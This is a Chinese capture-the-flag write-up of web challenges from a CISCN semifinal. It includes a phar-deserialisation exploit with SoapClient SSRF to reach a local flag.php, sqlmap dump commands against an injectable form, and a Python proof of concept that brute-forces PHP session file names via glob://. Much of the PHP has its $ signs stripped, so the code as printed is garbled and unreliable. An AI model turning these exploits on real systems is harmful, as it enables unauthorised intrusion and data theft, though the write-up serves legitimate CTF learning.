CISCN-复赛-华东北赛区WP-web
这个复赛可以说是拉大胯了,不过不管怎么说,最起码也是有惊无险的进入决赛了,差点就危了…
下面wp除了Java之外其它题目的WP都有了,想要找Java题目WP的师傅可以转走了
1.welcomeToCiscn
直接通过访问/flag获取flag
http://192.168.166.147:58005/flag
flag{61ee5435b6f59d42329ac2644d887dc2}
2.ezphp(300分)
WEB手用QQ就能做题,提交flag格式:flag{xxxx},该题环境的ip为:web-模板机get_ip的ip,端口为:58003
打开题目就跳转到腾讯网页面,F12流量监控也没找到题目正常的返回数据,就用了Burp代理
打开Burp看到流量发往了www.qq.com,手动修改了一下流量目的地址和请求头host
可以看到这回一个提供文件上传接口的地方,访问一下upload.php
可以得到源码,但一些字符被html编码
到本地写html页面访问即可得到源码:
upload.php
<?php
highlight_file(__FILE__);
header("content-type:text/html;charset=utf-8"); //设置编码
error_reporting(0);
include "config.php";
ini_set("max_execution_time","5");
//flag in flag.php
if(strlen(_FILES['file']['tmp_name'])>0){filetype = _FILES['file']['type'];tmp = _FILES['file']['tmp_name'];content=file_get_contents(tmp);
if (preg_match("/<\?|php/i",content )){
echo "go away!!!! hacker";
exit();
}
filepath="storage/";
if(filetype=="image/gif" ){
random_name=substr(md5(time()), 0, 8);
if(move_uploaded_file(tmp,filepath.random_name.".gif")){
echo "上传成功:路径在: ./".filepath.random_name.".gif";
}else{
echo "上传失败";
}
}
else{
echo "invalid gif";
}
}
function checkimg(img){check=getimagesize(img);
if ((check!=false) && (check['mime'] == 'image/gif')){
echo "safe image";
}
else{
echo "go away hacker";
}
}img=_GET["img"];
if (isset(img)){
checkimg($img);
}
config.php
<?php
highlight_file(__FILE__);
class Mysql{
public conn;
publicdbhost;
public dbusername;
publicdbpasswd;
public function __construct()
{
if(isset(_POST['dbhost'])&&isset(_POST['dbusername'])&&isset(_POST['dbpasswd']))
{this->dbhost=_POST['dbhost'];this->dbusername=_POST['dbusername'];this->dbpasswd=_POST['dbpasswd'];
}
}
public function connect()
{this->conn=new mysqli(this->dbhost,this->dbusername,this->dbpasswd);
if(this->conn->connect_error)
{
echo "Connection failed: {this->conn->connect_error}";
return False;
}result=this->conn->query("select * from test");
if(is_resource(result))
{
return result->fetch_assoc();
}
else
{
return False;
}
}
public function __destruct()
{this->conn->close();
}
}
这里提示了flag.php访问一下可以直接得到源码:
<?php
if (_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
file_put_contents("flag.txt",flag);
}
分析:
- upload.php
- 文件类型为
image/gif
且不被正则"/<\?|php/i"
匹配到的时候会将文件上上传到storage/xxxxxxxx.gif
- 如果有img参数的时候会使用
getimagesize
函数获取图片信息
- 文件类型为
- config.php
- 只有一个类:Mysql
- 它的connect函数不可用,能利用的函数只有
__destruct
,在它里面调用了关闭连接的函数$this->conn->close();
- flag.php
- 这里会将flag复制到flag.txt中,但是必须本地访问才行
解题思路:
- 首先明确最后目标:实现
127.0.0.1
访问flag.php
- 文件内容正则匹配php并且有
getimagesize
函数就很自然想到phar反序列化 - 反序列化什么类呢?这里给了
Mysql
类,就从它入手,结合最终目的SSRF
想到原生类利用中的SoapClient
,销毁函数会调用conn
成员的close
函数,就满足SoapClient
的__call
函数执行条件
最终得到解题步骤:
- 构造一个Mysql对象,让它的
conn
成员访问http://127.0.0.1/flag.php
的SoapClient
对象 - 将得到的对象放入Phar文件的
Metadata
数据段 - 为了绕过正则过滤,将原始的phar压缩为
.tar.gz
构造实现脚本:
<?php
class Mysql
{
public conn;
publicdbhost;
public dbusername;
publicdbpasswd;
public function __construct(conn,dbhost, dbusername,dbpasswd)
{
this->conn =conn;
this->dbhost =dbhost;
this->dbusername =dbusername;
this->dbpasswd =dbpasswd;
}
public function __destory(){
@system("calc");
this->conn->clase();
}
}soap = new SoapClient(null,array("location"=>"http://127.0.0.1/flag.php","uri"=>"http://127.0.0.1/flag.php"));
mysql=new Mysql(soap,
"xxx",
"xxx",
"xxx",
);
ser=mysql;
@unlink("phar.gif");
phar = new Phar("phar.phar");phar = phar->convertToExecutable(Phar::TAR,Phar::GZ);phar->startBuffering();
phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");phar->setMetadata(ser);phar->addFromString("f1ag.txt","f1ag{PharData}");
$phar->stopBuffering();
@system("move phar.phar.tar.gz phar.gif");
@system("ls|findstr phar");
include("phar://./phar.gif/f1ag.txt");
@system("type phar.gif");
运行上面脚本可以获得phar.gif
并且输出里面的数据,然后可以看到生成的phar.gif并没有正则匹配的数据段
再写一个form表单向题目上传文件:
<html lang="en">
<body>
<form action="http://192.168.166.147:58003/upload.php" name="name" method="post" enctype="multipart/form-data" target="">
file:<input type="file" name="file">
<br>
<input type="submit" value="提交">
</form>
</body>
</html>
上传文件后自动跳转到题目的/upload.php
下面,得到文件上传地址
然后使用phar协议加载这个文件地址即可触发反序列化
http://192.168.166.147:58003/upload.php?img=phar://./storage/ae08a63f.gif
最终会因为反序列化调用SoapClient
访问/flag.php而将flag写入flag.txt,但是因为我们的文件格式并不是gif所以并不会满足if条件而输出go away hacker
但是问题不大,此时去访问flag.txt即可得到flag
http://192.168.166.147:58003/flag.txt
3.ezsql(300分)
炒鸡简单的注入,送大分。提交flag格式:flag{xxxx}。该题环境的ip为:web-模板机get_ip的ip,端口为:58004
注入点为第二和第三个功能框,这里选用了第三个功能框,添加类型的地方就是注入点,把请求拉下来之后可以直接跑sqlmap,但是离谱的是我们只能读取到<blank>
–-dbs --batch #查表名
sqlmap -u "url" -D f0ig_wdp435s --tables --batch #查表名
sqlmap -u "url" -D f0ig_wdp435s -T fllaaagggg --columns --batch #查字段名
sqlmap -u "url" -D f0ig_wdp435s-T fllaaagggg -C FI@g --dump --batch #查字段值(flag)
一开始以为是需要建表读取/flag或者提升为root读取其它数据库,结果发现不仅不支持堆叠,而且当前已经是root了,最后我们几乎把整个数据库都给dump下来了都没见过flag
赛后找到其他师傅问到的wp看到flag就在
4.会聊天的ctf(600分)
小明最近在学PHP,写了一个聊天机器人,看上去不太智能也不太安全的样子。他还使用了测试账号进行测试,似乎留有一些痕迹。 提交答案格式:flag{xxx}。该题环境的ip为:web-模板机get_ip的ip,端口为:58001
POC:
import random
import string
import requests
url="http://1.117.23.177/test.php"
session_id="sess_"
session=requests.session()
while 1:
for c in "xq"+string.ascii_lowercase + string.digits:
# 自行修改文件地址为对应的session保存地址,使用题目地址的话需要确保www-data用户可以建立文件夹并且有读取权限
# 先确认好这个,要不然跑不出来闹乌龙
# 下面请求后生成一个session为qf4d2jtij6qsn89ms4nlag8rvg的文件/var/lib/php/sessions/sess_qf4d2jtij6qsn89ms4nlag8rvg
filename = "glob:///var/lib/php/sessions/"+session_id+c+"*"
data = {
"uploadc": "xxx",
"cname": filename
}
res = session.post(url, data, cookies = {"PHPSESSID":"qf4d2jtij6qsn89ms4nlag8rvg"})
print( res.text )
data = {
"input": "xxx"
}
print("-"*50)
res = session.post(url, data, cookies = {"PHPSESSID":"qf4d2jtij6qsn89ms4nlag8rvg"})
print(res.text)
if "请先上传词库文件" not in res.text:
session_id += c
print("session is =>",session_id)
print("-"*100)
为方便测试,改一下原本的代码:
<?php
function init(){
// sesspath = "/tmp/session";
// session_save_path(sesspath);
//因为本地有一些权限问题所以就不该session文件路径了,直接使用默认路径
session_start();
if (!_SESSION['cname']){_SESSION['cname'] = 'ck';
}
// if(!file_dir_exists("/tmp/resource"))
// mkdir("/tmp/resource");
}
init();
function file_dir_exists(path){
echo "file_dir_exists::PATH::path\n";
dir = dir(path);
dir_read =dir->read();
echo "DIR_READ::".dir_read."\n";
if (dir){
// if (dir->read())
if (dir_read)
return true;
}
return is_file(path);
}
function getres(input){
log_write(input);
chdir("/tmp/resource/");path = _SESSION['cname'];
if(!file_dir_exists(path)){
return "请先上传词库文件。";
}
ck = json_decode(file_get_contents(path),true);
foreach (ck askey => value){
if (strstr(key,input) or strstr(input,key)){type = key(value);v = value[type];
switch (type){
case "string":
returnv;
case "image":
b64img = '<img src="data:image/png;base64,'.base64_encode(file_get_contents(v)) . '"/>';
return b64img;
case "calc":
if (_SESSION['is_admin']){
if (preg_match("/\(|\)|\'|\"/im",v)){
return "包含非法字符";
}
return eval("returnv;");
}else{
return "admin才能使用这个功能";
}
default:
return "这个动作暂时还没能实现";
}
}
}
return "没有匹配到词库消息";
}
function uploadc(){
data =_REQUEST['uploadc'];
filename =_REQUEST['cname'];
resourcedir = "/tmp/resource/";
// if(!file_dir_exists(resourcedir))
// mkdir(resourcedir);
if(strpos(data,"<")){
die("别这样!");
}
if(strpos(filename,".")){
die("别这样!");
}_SESSION['cname'] = filename;
echo "设置SESSION_CNAME成功:"._SESSION['cname']."\n";
if(file_put_contents(resourcedir.filename,data)) {
return "上传成功";
}else{
return "上传失败";
}
}
function log_write(msg){
logpath = "log.txt";oper = session_id();
opername = substr(oper,0,1) ;
for (i=0;i <= strlen(oper);i++)
opername .= "*";
file_put_contents(logpath,"opername :msg \n",FILE_APPEND);
}
if(isset(_REQUEST['input']))
echo getres(_REQUEST['input']);
if(isset(_REQUEST['uploadc']))
echo uploadc();
if(isset(_REQUEST['clear']))
file_put_contents("log.txt","");
if(isset($_GET['log']))
echo file_get_contents("log.txt");
5.Easy_Java(300分)
简单的Java反序列化,提交flag格式:flag{xxxx},该题环境的ip为:web-模板机get_ip的ip,端口为:58002
这个只知道是应该是cc5打TiedMapEntry的totring方法,执行点需要是一个无参点,但是因为本地的java链接不上maven项目的jar包根本调不下去就没做了,大摆….